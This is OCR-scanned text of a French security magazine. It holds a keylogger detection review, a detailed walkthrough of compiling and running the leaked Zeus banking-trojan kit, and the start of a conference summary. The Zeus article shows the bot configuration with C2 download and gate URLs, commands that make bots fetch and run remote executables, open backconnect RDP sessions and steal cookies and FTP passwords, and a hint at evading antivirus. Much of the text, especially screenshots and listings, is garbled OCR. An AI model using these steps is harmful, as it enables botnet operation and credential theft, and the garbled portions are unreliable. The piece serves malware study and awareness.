Changement des valeurs du périphérique

Certains keyloggers changent les parametres du péri-
phérique USB, comme le nom, le ProductiD ou encore le
VendorlD. En exécutant un programme qui vérifierait ces
valeurs par rapport aux valeurs de base prises sans key-
logger, il est possible de détecter la connexion du disposi-
tif, et ce, que la machine soit allumée ou éteinte.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Changement de la vitesse du périphérique USB

Certains modeles de keylogger sont détectables grace au
changement de la vitesse de transfert du périphérique
USB qui modifie le débit du transfert.

Sur certains modeles, dont le modele étudié, il est impos-
sible de changer le sujet de I'email envoyé. Celui-ci sera
toujours : «==> KeyDemon USB WiFi Report <==». Un key-
logger installé sur une machine peut donc étre repéré en
sniffant les emails envoyés et en parsant les sujets. Pour
cela, I'accés au WiFi doit, bien entendu, étre possible.

«La détection visuelle est donc la maniére la

plus sirenre. Cependant, cette méthode est

difficile a réaliser du fait de la trop grande
taille du parc informatique.»

Comme nous I'avons vu dans I'analyse, en interceptant le
trafic réseau, et en recherchant certaines datas spécifiques
(Get Ip, Get Log MDP), la présence d'un keylogger utilisant
Demon Tools peut étre détectée. Le retrouver physique-
ment constitue, a ce moment 13, une toute autre affaire.

Certains keyloggers passent en mode Storage grace a une
série de touches appuyées. Ainsi, il est relativement facile
de savoir si un keylogger est connecté a la machine ci-
blée. La plupart des keyloggers ayant cette fonctionnalité
I'activent uniquement par I'envoi d’'une combinaison de
3 caractéres. En prenant I'ensemble des caractéres alpha,
il existe donc 17 576 possibilités. A chaque envoi d'une
possibilité, il suffit de regarder si un périphérique de stoc-
kage de masse se connecte. Si C'est le cas, c'est qu’il y a
de grandes chances qu’un keylogger soit connecté sur le
clavier.

Cette attaque de brute-force est possible via la librairie
libusb comme le montre Cosmin sur son blog :

-
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> Notre avis

La mémoire de sauvegarde est, quant a elle, gérée de
maniere originale. En effet, une fois que I'espace disque
arrive a saturation, celui-ci se reformate automatique-
ment et continue a loguer les touches avec les options par
défaut. On perd donc toute la configuration ainsi que tous
les logs antérieurs.

Certains types de clavier, comme ceux avec un hub USB
intégré (cf. les claviers Mac) ne sont pas du tout gérés
par ces keyloggers. Dans la documentation officielle, il est
demandé de connecter le keylogger entre le hub et le cla-
vier. Pour des hubs intégrés, vous comprendrez que cela
n’est pas possible.

De méme, les claviers utilisant le BUS USB High Speed
n‘ont pas été pris en compte lors de nos tests. En plus
de ne pas enregistrer les frappes, ce type de clavier peut
ne pas fonctionner du tout, ou bien marcher par intermit-
tence, mélangeant ainsi les commandes envoyées.

Il est également important de spécifier que le keylogger
a un temps de démarrage de quelques secondes, durant
lesquelles rien n’est enregistré, ainsi qu’un un temps
«d’écriture». En effet, si apres avoir frappé beaucoup de
caracteres, le keylogger est directement débranché, la fin
de la frappe ne sera pas sauvegardée.

De plus, il est trés rarement arrivé que certaines touches
ne soient pas sauvegardées, de maniere totalement aléa-
toire.

Pour mémoire, voici un récapitulatif des avantages et des
inconvénients de ce keylogger :

Il est petit et discret ;

La méthode de récupération ne se fait pas par une
suite de touches, contrairement aux autres keyloggers,
mais par un cable a brancher en plus ;

La connexion aux WiFi ;

L’envoi automatique d’email.

Un chiffrement de la mémoire flash annoncée, mais
non fonctionnelle ;

Pas de scan automatique des réseaux WiFi ouverts ;

Le formatage de la mémoire flash quand le disque est
plein ;

Les logs ne s’effacent pas lors de I’envoi par email ;

[xXmMcol

Aucune possibilité de changer le sujet du mail ainsi
que les caracteres spéciaux utilisés (Pwr, Esc, Ent, etc.) ;

La configuration du keylogger ne peut pas se faire a
distance avec Demon Tools ;

Le manque de prise en charge de certains matériels
(High speed et HUB) ;

La documentation incomplete sur certaines options ;

Ni date ni heure dans les logs.

> Conclusion

Depuis un bon nombre d’années, les keyloggers existent.
Avec les avancées technologiques, ils deviennent de plus
en plus petits, et possedent de plus en plus de fonction-
nalités. Les prix de ces appareils baissent et deviennent
abordables (un keylogger ne peut pas toujours étre récu-
péré). Méme si certaines fonctionnalités sont réellement
intéressantes (WiFi, envoi d’email, gestion a distance), les
produits sur le marché public ne sont pas encore totale-
ment au point pour une utilisation réelle et efficace.
D’autres outils tels que les keyloggers video sont égale-
ment disponibles depuis quelques temps.

Cette étude montre que l'importance de la sécurité phy-
sique dans une entreprise. L'acces restreint a certaines
zones, la mise en place de points de contrdle, la surveil-
lance du personnel externe sont autant de parametres a
prendre en compte.

> Références

== site de Iéditeur
http://www.keydemon.com/
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> Présentation et utilisation du malware Zeus

Zeus ou Zbot est I'un des chevaux de Troie parmi les plus connus et les plus répandus sur la toile.
Aujourd’hui, celui-ci a déja fait des millions de victimes et reste I'un des bots les plus actifs. Son
utilisation principale est le vol de données bancaires, mais il peut étre utilisé pour faire de nom-
breuses autres choses ... Comment les pirates l'installent, le controlent et Iutilisent-ils ? Dans quel

but ?

Cet article a pour objectif d’étudier la structure de cet outil, ainsi que ses diverses fonctionnali-

tés.

par Stéphane AVI

Voyage

au coeur du bot Zeus

legofenris

> Début de I’aventure

Avant d’étudier Zeus, mettons-nous dans la peau d'un
pirate et allons chercher notre kit sur Internet. Au mois de
mai dernier, les sources d’une version de Zeus (2.0.8.9)
ont été rendues publiques par certaines personnes (bien
intentionnées ou pas ?). Sans trop de difficulté et avec
I'aide de notre ami Google, nous arrivons rapidement a
trouver des liens actifs pointant vers une archive conte-
nant les sources. Zeus est en effet disponible sur un tas
de forums.
qust 2011 - 02:31 PM
Hello dear fraudsters ,
ndly price the Lastest ORIGINAL BUILDER from author(slavik)

vne

/ID (already unlocked )
1 have source code so | have right to sell it there

Ready to pass any test by administration forum

Contact: ber.org

Proof he p:/fimageshack.us/f/31/screeniSiE. pna/

“This post has been edited by Flashy: 06 August 2011 - 01:24 AM
Reason for edit: removed colours.
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On boucle nos ceintures, on respire un bon coup et en
avant pour |"aventure...

Regardons de plus pres dans I'antre de la béte.

Liste des fichiers en notre possession

Maintenant que nous avons téléchargé I'archive, analy-
sons son contenu.

Une fois I'archive dézippée, nous obtenons un dossier
qui contient un certain nombre de manuels. Ces derniers
sont, pour la plupart, écrits en Russe et en Anglais. Nous
y reviendrons plus tard. Le reste des dossiers contient les
sources du bot ainsi que quelques fichiers de configura-
tions.
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stephane staff README . txt
stephane staff VNC. txt
stephane staff @ mai 2 bin

stephane staff @ avr config.ini
stephane staff @ mai configs
stephane staff @ mai 2

stephane staff B mai 2

stephane staff 36 10 mai

stephane staff 8 10 mai Z

stephane staff oct 2010 make.cmd
stephane staff oct 2010 make_debug.cmd
stephane staff 2 29 mar @3:14 make_default.cmd
stephane staff avr 16:086 make_full.cmd
stephane staff manual_en. html
stephane staff manual_ru. html
stephane staff output
stephane staff source
stephane staff 8 mai 2 temp

stephane staff 13 oct @ zeus.sln
stephane staff 34816 2 avr 22:19 zeus.suo

drwxr-xr
drwxr-xr
drwxr-xr
drwxr-xr

drwxr

F RO W R RS ENUT SR N

En naviguant dans le dossier «output», nous nous
retrouvons en présence d'une version de Zeus déja
compilée. Cependant, les différents fichiers pré-
sents ne nous permettent pas de définir la prove-
nance exacte du kit. Nous n’utiliserons donc pas
cette version et compilerons directement les notres.

stephane in ~/Documents/actusecu/zeus/ZeuS 2.0.8.9/output

ols -1

total 288

drwxr @ 5 stephane staff 178 10 mai 21:
stephane staff 140868 14 avr
stephane staff 4 14 avr

drwxr @ 4 stephane staff 136 10 mai 2

drwxr @ 3 stephane staff 182 10 mai

drwxr-xr-x@ 8 stephane staff 272 10 mai 2

builder
client3Z.bin
config
other
server

2 server[php]

Dans le dossier «make», se trouvent les fichiers néces-
saires a la compilation du code. A la fin de la compilation,
nous obtenons un «builder» permettant de créer les exé-
cutables malveillants correspondant aux bots ; un serveur
de «backconnect» et enfin les sources d’un serveur en PHP.

stephane in ~/Documents/actusecu/zeus/7eus 2.0.8.9/make
ols -1
total 136
-rw-r-- stephane 2916 14 oct @ baseconfig.inc.php
stephane 9626 mar 12:43 buildconfig.
stephane 2285 oct 20190 configsample.i 0
stephane 819 oct installdata. inc.php
stephane 5543 oct @ make.php

stephane 2629 oct @ make.vcxproj
stephane 143 mar ]
stephane 27082 14 oct 2019 tools.inc.php

Plusieurs versions s’offrent a nous : «debug», «default» et
«full». Toutes les configurations sont définies dans le dos-
sier «configs». Il est ainsi possible de configurer diverses
options comme :

L'activation des requétes HTTP/HTTPS ;

L'interception des mots de passe FTP et POP3 sur les
réseaux TCP ;

La mise en place du serveur de «backconnect» VNC;

L'ajout des informations de connexion a un compte
Jabber afin d’envoyer des notifications aux serveurs ;

Les systemes d’exploitation des clients et du serveur.

Entre les options «full» et «debug», il n'y a aucune diffé-
rence a part |'affichage des informations supplémentaires.
Pour se rapprocher le plus possible d'une utilisation avan-
cée et par la méme occasion d’un vrai pirate, nous allons
choisir la version «full».

Par défaut, seule I'interception des mots de passe est acti-
vée.

o cat configs/full/config
debug =
manual

nsprd

wininet
software_ftp
software_email

socket_ftp
socket_pop3

vnc
jabber_notifier

client_platforms
server_platforms
bcserver_platforms
builder_platforms
buildtools_platforms

Alaracine du dossier, plusieurs fichiers permettent de com-
piler notre propre bot. Ces scripts de type batch sont des rac-
courcis vers un script PHP permettant de compilerle serveur.

stephane in ~/Documents/actusecu/zeus,/Zeus 2.0.8.9

at make_full.cmd

ho off

el

Abinhphphphp.exe” =g make.php =b "full" "warrior buy source"

o
"

[ =]
o m
™
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A Carnet de bord

Sources
compilées

Pirate
<°°J

o

Création d'un exécutable malveillant

Sources
du Kit de
Botnet

==|nstallation du serveur=p

[

gratuit.exe

#

Serveur de contdle
o,

Envoie de I'exécutable Victime

malveillant

'..
Victime )

Pour compiler notre bot, nous avons décidé d'utiliser une
plateforme de type Windows 32bit. Celle-ci doit dispo-
ser d’outils de compilation. Le kit fournit un interpréteur
PHP. Nous devons seulement installer un compilateur ¢/
C++ (Microsoft Visual Studio Express). Une fois notre pla-
teforme mise en place, nous pouvons commencer la com-
pilation.

«Le concepteur a tout prévu
en fournissant un «builder» sous forme d’exé-
cutable qui dispose d’une interface
trés simple d’utilisation. Ce logiciel permettra
de générer I'exécutable destiné aux futures
victimes.»

0n lance le script de compilation. Et voila ! 1 minute plus
tard nous sommes en possession d'un contréleur de bot-
net totalement opérationnel. A nous I'Olympe !!!

Génération du serveur et du builder

C:\ZeuS>make_full.cmd

-> Configuration: full

-> Debug: 0
-> Version: 2.0.8.9
-> Signature:  warrior buy source

Press Return key for continue . . .

A la fin de cette compilation, nous obtenons les trois diffé-
rentes parties du kit :
L'interface PHP ;

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Le serveur backconnect ;
Le builder qui va permettre de générer le client.

Maintenant, que I'on dispose de notre serveur de controle,
il ne nous reste plus qu’a créer I” exécutable (installer) que
nous enverrons a nos victimes. Pour cela, le concepteur a
tout prévu en fournissant un «builder» sous forme d’exé-
cutable qui dispose d’une interface tres simple d’utilisa-
tion.

Génération du bot (installer)

Afin de générer le bot malveillant, nous spécifions, au
sein du fichier de configuration les diverses informations
de connexion vers notre serveur de controle ainsi qu’un
mot de passe.

Il est possible de configurer le temps entre chaque com-
munication du bot vers le serveur ainsi que le temps entre
chaque action a exécuter. Par défaut, ils sont de 60 mi-
nutes.

.. TeuS Builder

Information Builder
Builder Source configuartion File:
Settings
C:ZeuSioutputibuildericonfig.txt

Build the bot exscutable ]

Actions

[ EBuild the bot configuration ] [

[xmMcol
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Compilation

& Sources PHP

Sources
du Kit de
Botnet

w|nterface d’administrations=js-

N =

Serveur (Backconnect)

- [ it

==Exécutable malveillant (Zeus Trojan)4e=

Sexe-
gratuit.exe

Builder

)2

Apres la compilation de I'«installer» malveillant, nous
sommes en présence de deux fichiers, I'exécutable mal-
veillant et le fichier de configuration sous forme de binaire.
Celui-ci permet au C&C de mettre a jour la configuration
des bots a distance.

I config. txt - Notepad

File Edit Farmat Yiew Help

;BUtld time: 15:01:3% 16.08.2011 GMT
swarsion: 2.0.8.9

entry "staticconfig”
shotnet "btnl"
timer config 60 1
Timer_Togs 1 1
timer_stats 20 1
url_config "http://172.16.159.128:8080/server_debug/canfig. bin"”
remove_certs 1
disahle_tcpserver 0
gncryptﬁon_key "secret key"
en

entr¥ “Dynamicconfig”

Toader "http://172.16.159.128:8080/server_debug/hot. exe”
url server "http://172.16.159.128:8080/server_debug/gate. php”
file_webinjects "webinjects.txt’
entrﬁ "advancedconfigs”

ttp: //advdoma1n/cfg1 bin"

entry “webFilters"
W microsoft. coms"
"thttp: / myspace, com* "
CATTRS LA weiw. gruposantander, s/~
“thttp://%odnok Tassniki. rus"
“rhttp:/ vkontakte. ru/*
“@“f10?1n oS, ru/“
t@¥sat T, osmp. rugEt

end

entrﬁ "webDataFilters"

Tt

pr//mail. rambler. ru/*" "passw; Togin"

entrﬁ "webFakes"

ttp:/fwww.google.com” “"http:/ www.yahoo.com" “Gp" "" "%
end

end

En soumettant notre «installer» au site d’analyse VirusTo-
tal, la moitié des antivirus du marché le détecte. Ce chiffre
est inquiétant pour une souche non modifiée d’un des vi-
rus les plus utilisés... Dans le cas d’une véritable attaque, il
serait bien sr judicieux de modifier manuellement notre
«installer» pour le rendre indétectable.

Afin de mettre en place notre réseau, |I sufflra de déployer

File name: bot.exe
Submission date: 2011-10-18 14:11:19 (UTC)
Current status: finished
Result: 33/ 43 (76.7%)
A2 Compact

[xXmMcol

notre exécutable malveillant sur les machines des vic-
times.

Tonnerre de Zeus, apres la compilation, nous avons obtenu
plusieurs dossiers.

CAWINDOWSA\system 3 2\cmd. exe

C:ZeuSswoutput >dir
Uolume in drive C has no label.
Uolume Serial Mumber iz ESZE-2A%A

Directory of C:xZeuS“output

18:P6

18:06

18:06

18:86

1A:05%

18:P6

18:86

18:B6
2 Flle( 2
6 Dircs>

B8./23 2011
A8 232811
B8 -23 2011
P8 2320811
\e.23 2811
B8./23 2011
B8 232811
B8/ 23,2811

<DIR> o
<DIR>
<DIR>

builder
client32_hin
conf ig
other

<DIR>
<DIR>
<DIR>

SErYer

serverlphpl
148,884 hytes
6,453, 538 816 bytes free

Mise en place de notre interface web

Nous allons maintenant mettre en place le serveur qui
permettra de contréler nos bots.

Les fichiers nécessaires a la mise en place de ce ser-
veur sont contenus au sein des répertoires «server» et
«server[php]».

Regardons de plus pres le dossier «server[php]». Ce der-
nier contient I'interface d’administration de notre botnet.
Cette interface est constituée de plusieurs fichiers PHP et
est couplée a une base de données MySQL.

Le fichier «cp.php» correspond a la page principale
d’administration.

Le fichier «gate.php» est le script utilisé par les bots
pour communiquer. En d’autres mots, le bot enverra les

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



informations volées via des requétes HTTP en direction
de ce script.

Enfin, le dossier «system» contient tout le moteur de
I'interface.

Passons maintenant a l'installation du serveur de com-

= CAWINDOWS\system 3 2vemd.exe

TNy
TNy

Ing . en . puhp
Ing . ™ .php
by

- Ingroem _phi

-php
-nhp

-en . phyp
-ru_phy

. Ingr.en b

Ingy v -y
hy

- g en _php

- lgr v . php

- Ingr.en _php
4 v

mande. Pour cela, nous nous rendons dans le dossier
«install» au travers d’un navigateur.

Une fois les diverses informations renseignées (Serveur

This application Install and conflgure your control panel on this
server. Please type settings and press 'Install'.

User name: (1-20 chars): admin

Password (6-64 chars):

Host: 127.0.0.1

User: root

Password: [

Database: cpdb

Local folders:

Reports: reports

Onling bot timeout: 25

Encryption key (1-255 chars):

# Enable write reports to database.
| Enable write reports to local path.

" Install —

base de données, «Encryption key»), I'installation de I'in-
terface d’administration du botnet est automatisée.

Cependant, il faut bien remplir I" «Encryption key», car
celle-ci doit correspondre a la méme que celle qui est
présente dans |” «exécutable» malveillant. Cette clef sert
a lier/authentifier les bots au serveur. Une fois les infor-
mations de connexion saisies, nous voila avec une inter-

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

— —

face compléte et fonctionnelle.

CP :: Summary statistics
Information:
informavion ]

Total reports In database: o
Time of first activity: -
Total bots: o
Total active bots In 24 hours: 0% - 0
Minimal version of bot: 0.0.0.0
Maximal version of bot: 0.0.0.0

Current user: admin
GMT date: 23.08.2011
GMT time: 09:35:07

Statistics:
+ Summary
os

Botnet:

Bots current botnet: ([FETHE
scripts Actions:

Ll d [Newbots o) ____________Hlloniine bots (0)
Search In database -- Empty -- -- Empty --

Search In files

System:
Infarmation
Optlans
User
Users

Logout

Mise en place de notre serveur «backconnect»

Intéressons nous au dossier «server». Il contient unique-

ment un programme exécutable en ligne de commande.

Cet exécutable est un serveur de type «backconnect». Il va
permettre de faire des redirections de port. Nous revien-

drons sur ce serveur ultérieurement dans Iarticle.
>Utilisation et fonctionnement

> INFO

Un nouveau marché : MAAS Malware As A Service

EnsereposantsurlessourcesdeZeus publiéesilyaquelques
mois (voir (XA-2011-0749), les pirates ont développé un
nouveau logiciel leur permettant de simplifier grandement
I'administration des machines compromise al’aide de Zeus.

Baptisée Ice IX, cette application web est faite pour gérer
de facon centralisée un ou plusieurs botnets Zeus. Pour
cela, les pirates ont étudié le protocole développé par les
concepteurs de Zeus pour échanger des messages entre
les bots et le serveur de commandes et de controle. Ils
s’en sont inspirés pour offrir a leurs clients une interface
de gestion plus évoluée que celle offerte avec le malware..

La publication du code source d’'un malware aussi célebre
que Zeus n'est donc pas sans impact sur I'écosysteme
des cybercriminels, puisque ceci a provoqué |'apparition
d’une nouvelle offre. Celle-ci n’est, d"ailleurs, pas donnée,
puisqu'il en coutera pas moins de 1800 dollars aux pirates
intéressés par cette solution surles «<markets underground».

[xmMcol
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Non de Zeus ! Maintenant que nous disposons d'un kit
et d'une interface totalement opérationnels, il nous faut
envoyer nos petits bots en vadrouille. Contrairement, a
un exploit kit, un bot kit ne contient aucun exploit. L'un
des meilleurs moyens pour le déployer est de le mettre a
disposition sur internet ou de mener des campagnes de
SPAM.

Pour les besoins de I'article, nous allons simuler I'attaque
d’une victime en imaginant que nous avons recu un email
avec un lien pointant directement sur notre «installer»
malveillant.

Exécution du bot

En incitant la victime a télécharger et a démarrer notre
exécutable malveillant, celui-ci s’installe dans le dossier
«%APPDATA%)\ <dossier aléatoire>\<nom aléatoire>.exe»
(C:\Document and setting\%USER%\Application Data\)
avant de disparaitre du dossier ou il est exécuté.

Il met en place une entrée dans la clef de registre «<HKLM\
Software\Microsoft\ Windows NT\CurrentVersion\Run» du
méme nom que 'exécutable malveillant afin d'étre actif
au redémarrage de la victime.

«Intéressons nous au dossier «server». Il
contient uniquement un programme
exécutable en ligne de commande.

Cet exécutable est un serveur de type «back-
connect». Il va permettre de faire des redirec-
tions de port...»

Le bot vient alors se connecter sur notre serveur web
(gate.php). L'interface web de controle affiche alors le
nouveau systéme compromis.

Une fois le bot connecté au serveur, nous avons acceés aux
informations du systeme en question.

Information:
Current user: admin
GMT dates 23.08.2011 Total reports In database o
GMT time: 09:35:07 Time of first activity:
Statistics: Total bots: o
Total active bots In 24 hours: 0% - 0
+ Summary
Minimal version of bot: 0.0.0.0
2= Maximal version of bot: 0.0.0.0
Botnet:
Bots Current botner: ([TIHE
sarpts ctions:
L New bots (0) [Online bots (0)
search In database -- Empty -- -- Empty --

Search In files
System:

Information

Options

User

Users

Logout

[xXmMcol
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Communication avec le serveur C&C

Lors de l'installation, le port de communication entre le

Baot ID: XMCO-2ZB5EDELEDS_FE7576BFFIASBECS
Botnat: benl

‘varsion: 2.0.8.9

05 Version: XF, 5P 3

05 Languags: 1033

GMT!: + 1100

Country: -

IFud: 172.16.159.129

latency:  0.000

SO0CKs/LC poit: 37748

Time af first repo: 16.08. 2011 15:15:45
Time of 1351 rep«uT: OB.09. 2011 14:06:40
‘Ondine time: D0 L8:49

In the list of new Do1s: Yes

In the list of used: fes | ¥

Commant:

bot et le serveur est choisi aléatoirement. Il est fourni par
le bot lors de la premiére connexion et est stocké dans la
base. Lors de nos tests, toutes les communications étaient
établies entre le serveur de controle sur le port 37211.
Ainsi lorsque le serveur fait une demande d’information,
elle s’effectue sur le port 37211 de la victime. Sinon les
bots communiquent par des requétes HTTP vers le serveur
toutes les X minutes selon la configuration.

Dans cette capture d’écran, nous observons un échange
d'informations a la suite d'une demande d’informations
faites par le serveur au client.

Fiter: | ip.dst == 172.16.159.129 B kep.port == 37211 ¥ | Expression... Clear

Destination Frotocel  Length  Info

54 vts—rpc > 37211 [
TCP 62 5788 > 37211 [SYN] Seq 0 wins= 65535

[ACK]

872 261, 887541 172. 16,150, 128 172.16.159. 129 TCP 54 5788 > 37211 [ACK] Seq=14 Ack= 7301
876 261.887924 172.16.159.128 172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=11681
882 261.888351172.16.159.128 172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=18981
886 261.888608 172.16.159.128 172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=23361
890 261.888718172.16.159.128 172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=27741
895 261.888960172.16.159.128 172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=33581

900 261.889115 172.16.159.128

172.16.159.129 TCP 54 5788 > 37211 [ACK] Seg=14 Ack=39421
TCP 54 5788 > 37211 [ACK] Ack=42634

53 5758 > 37211 [ACK] Seq=14 Ack=42635
# Frame 865: 67 bytes on wire (536 bits), 67 hytes captured (536 bits)

® Ethernet II, src: vmware_c8:e8:09 (00:0c:29:c8:e8:09), DST: vmware 19:17:83 (00:0c:29:19:17:83)

@ Internet Protocol Version 4, src: 172.16.159.128 (172.16.159.128), Dst: 172.16.159.129 (172.16.159.129

507 261. 891411 172. 15 159. 128 7216, 159 129 TCP

Lors de la rédaction de cet article nous ne nous sommes
pas intéressés a
veillant. Néanmoins, en regardant avec la commande
«netstat», nous observons que I «explorer» de Windows
écoute sur le port du bot.

Cela nous permet d"avancer I'hypothése suivante : I'exécu-
table malveillant s’injecte dans I'explorateur de Windows
afin d'étre plus discret aupres des utilisateurs/antivirus.

~= . =
— S i
- File Options View ShutDown  Hel
-|o| | Applications | Processes | Performanc
State = Image Mame PID U
LISTENING £y esrss.exe 608 5
LISTENING 4 wirlagon. exe 632 S\
LISTERING REU services.exe 876 5
RE lsass.exe 688 5
LISTENING
LAST_ACK wrnacthip.exe 856 S
SYN_SENT svchoskexe 872 5\
SYN_SENT swchost.exe 940 HE
swehost exe 1032 Sy
svchosk exe 1080 ME

srchost.exe 1136 LC

spoclsv.ex 1504 5
nd exe 1524 A
dy.exe 15688 LC
WMwareTray exe 1680 Ac
Wwarellser exe 1688 Ac
ctfmon.exe 1728 A

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Vous trouverez d’ailleurs sur Internet des études tres com-
pletes de Zeus pour en savoir plus sur I'éventail des fonc-
tions offertes par ce bot.
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Maintenant que les douze travaux sont remplis, passons
a l'interface d’administration. Cette derniére nous permet
d’avoir plusieurs informations telles que des statistiques,
et des historiques sur les bots. Elle permet aussi de lancer
des commandes prédéfinies.

Récupération des informations des victimes

Lors de la premiere connexion d’un bot, celui-ci va nous
remonter diverses informations :

Hostname ;

Adresse IP du client ;

Port de communication entre le client et le serveur ;
Nom d’utilisateur ;

Tous les cookies stockés sur le poste client ;

Diverses informations sur le ou les navigateurs pré-
sents (PID, Chemin d’installation, etc.) ;

Diverses informations sur le systeme (Temps systeme,
0s, Type, etc.).

Exécution de commandes

L'interface nous permet d’envoyer certaines actions aux
bots.

Voici la liste de quelques méthodes supportées :
o0s_shutdown : permet d’éteindre la machine infectée ;
bot_uninstall : permet de désinstaller le bot ;
bot_bc_add : permet de connecter un port du client ;

vers notre serveur en lien avec la commande zsbcs.exe
(Serveur de «backconnect»). Par exemple, pour ouvrir une
connexion VNC distante ;

user_execute : permet d’exécuter des commandes dis-

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

tantes sur le poste distant ;
user_cookies_get : permet de récupérer tous les coo-
kies de I'utilisateur ;

user_ftpclients_get : permet de récupérer les mots de
passe de clients FTP connus installés sur la machine de la
victime ;

user_flashplayer_get : permet de récupérer tous les
cookies flash de I'utilisateur.

Pour envoyer ces méthodes, il suffit de se rendre dans la
partie «script» de l'interface, et de sélectionner les bots
concernés.

MName:

script_1313508601
Enabled 13
Limit of sends: O

Status:

List of bots: XMCO-2B5E0E1IED S 7B7S7EEFFSASEECE

List of botnets:

List of countries:

Context: bot_bc_add vnc 172.16.159.128 4500

Toutes les informations remontées par les scripts vont se
retrouver dans la partie «File» du bot ou dans «Search in
file». Elles sont stockées dans la base et peuvent étre télé-
chargées sous forme de fichier.

Forward de ports

Lors de l'installation, nous avons vu comment configurer
un serveur pour effectuer des renvois de service. Pour

I reports-3.txt - Notepad

File Edit Format View Help

L

Il:lD‘l:_"l d=xMC0O-285E0E1EDS_7375768FFIASBECH
hotnet=—- default —-

hot_wersion=2.0.8.9

Tpwd=172.16.159.128

COUNTPy=——

type=1

rtime=15:15:41 16.08.2011
time_system=15:15:09 16,08, 2011
time_tick=00:17:58

time_localbias=+1:00

os_version=xp, sP 3

Tlanguage_jd=1033
process_names=C:WWINDOWS\Systam32\wgaTray. exe
process_user=xMCO-285EQELEDS N administrator
path_source=

COntext=

wininet(Internet Explorer) cookies:DEmpty

bot_id=xMC0-285E0ELEDS _7E757A8FFOASBECH
hotnet=—- default —-

hot_wersion=2.0.8.9

Tpwd=172.16.15%.129

COUNtry=——

type=1

rtime=15:20:35 16.08.2011
time_system=15:19:05 16,08, 2011
time_tick=00:30:12

time_localbias=+1:00

os_version=xp, SP 3

Tlanguage_jd=1033
process_name=C:WWINDOWSHExplorer. EXE
process_user=xMCO-285EQELEDS administrator
path_source=

context=

wininet(Internet Explorer) cookies:nopath: microsoft. com/OmMsIDS
I&I=AXUFAAAAAABMCAAAZHYHFNhKZ UCrpgCgIurfew! 10

bot_id=xMC0-285ECELEDS_7B757568FFIASBECH
hotnet=—- default —-
hot_wersion=2.0.8.9
Tpwd=172.16.159.128

Eala L) ol Y S,
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utiliser cette fonctionnalité, il faut utiliser la commande
«bot_bc_add». Celle-ci prend en parametre :

service : port du client ;

backconnect_server : adresse pointant vers notre ser-
veur ;

backconnect_server_port
configurés lors de Il'installation.

port d’écoute des bots

Par exemple, en envoyant «bot bc _add 3389 serveur.
zeus 4500», cela nous ouvre une connexion RDP (acces
au bureau a distance Windows) sur notre client vers notre
serveur d’administration. Ainsi, on pourra se connecter sur
le port 4500 de notre serveur pour accéder a la session !

Nous pouvons observer la connexion d’un bot au travers
de cette session.

Exécution de commandes

Une autre fonctionnalité intéressante est le fait de pou-
voir exécuter des commandes distantes sur le client en
utilisant la méthode «user_execute». Celle-ci prend en
parametre :

Path : le chemin vers I'exécutable, il peut prendre la
forme d’une URL ;
Parameters : les paramétres de I'exécutable.

Par exemple, en envoyant «user_execute http://serveur.
zeus/hello.txt», le bot va ouvrir le fichier texte qu’il aura
téléchargé depuis notre serveur web. Il sera, d’abord, co-

ZeuS Backconnect Seruve
[Build time: 15:81:3% 16 BB 2311 TGMT.

ning on IPu4 port 45808.

ning on IPv4 port 1886.

trl+C key to shutdoun server.
! ng for incoming connections (port of bot: 4588, port of client: 1888>,
ﬂ[:[:epted new conection from hot (BotID: XMCO-. ZSSEEEIEDS _7875768FF?A5BECH . iPi 17
[2.16.159.128:5885) .
Accepted new conection from client (IP: 172.16.159.1:63@58, ID: 19458B5196).

pié dans le dossier temporaire «%TEMP%>» avant d’étre
ouvert.

Autre exemple, en envoyant «user_execute http://ser-
veur.zeus/notepad.exe», |'exécutable, potentiellement
malveillant, sera démarré sur le poste de la victime.

>Conclusion

Que d’aventures ! Nous vous avons présenté rapidement
une vue d’ensemble d’un kit de botnet. En nous position-
nant du c6té de I'acheteur du kit, nous nous sommes ren-
dus compte qu'il était trés simple de mettre en place un
serveur de commande et de contréle, dit «CC».

Le plus difficile, dans cet exercice, reste la mise en place
de notre réseau de bots. Une fois cette derniere effec-
tuée, les possibilités deviennent infinies. En jouant sur le
temps de connexion de chaque bot vers le serveur, il est
possible de gérer un nombre plus ou moins important de
bots. Méme si ce kit de botnet commence 3 vieillir, der-
niere date de release en 2010, il reste toujours tres utilisé
et particulierement apprécié par les cyber-pirates.

/ Serveur Backconnect

®

Envoi de la demande de connexion
Port Victime : 3389
Port Serveur : 4500

3

Victime

Connexion de la victime
Port Victime : 3389
Port Serveur : 4500

22\

Pirate

che
!
LR L
R 9\@‘:_ L@:\s\a“c
\;B“lsoeﬁ" ?
Pl

Serveur (Backconnect)
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Conférences Sécurités... Hack In Paris vs SSTIC !

Les deux conférences les plus attendues sur le sol Francais se sont déroulées durant le prin-
temps 2011. Résumé des conférences les plus intéressantes.

par Charles DAGOUAT, Florent HOCHWELKER, Stéphane JIN et Alexis COUPE

P uv:// ; ’

\

Du 14 au 17 juin s’est tenue la premiére conférence Hack
In Paris. Celle-ci, organisée par la communauté HZV et par
Sysdream, voulait réunir les amateurs de sécurité et les pro-
fessionnels du domaine.

Voici un résumé des différentes conférences de I'évene-
ment :

Flora Bottaccio and Sebastien Andrivet |
Pentesting iPhone & iPad Applications
Coffee break

Joan-Baptisto Aviat : Skirack: ROP for masses
Lunch

Mario Heiderich : The forbidden image
Security impact of SVG on the WWW

Afain Zidouemba : A close lcok at rogue a

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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> Jour 1

Cyberwar-4G aka The Coming Smart Phone Wars (Winn
Schwartau)

== Whitepaper :

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5631070712441679730

o Auteur :
http://www.hackinparis.com/speaker-winn-schwartau

Cette présentation a été donnée par Winn Schwartau,
expert reconnu dans les domaines de la sécurité et de la
cyberguerre. Ce dernier commenca sa présentation par un
rappel historique des technologies existantes, des évolu-
tions, pour ensuite aborder le sujet des smartphones qui
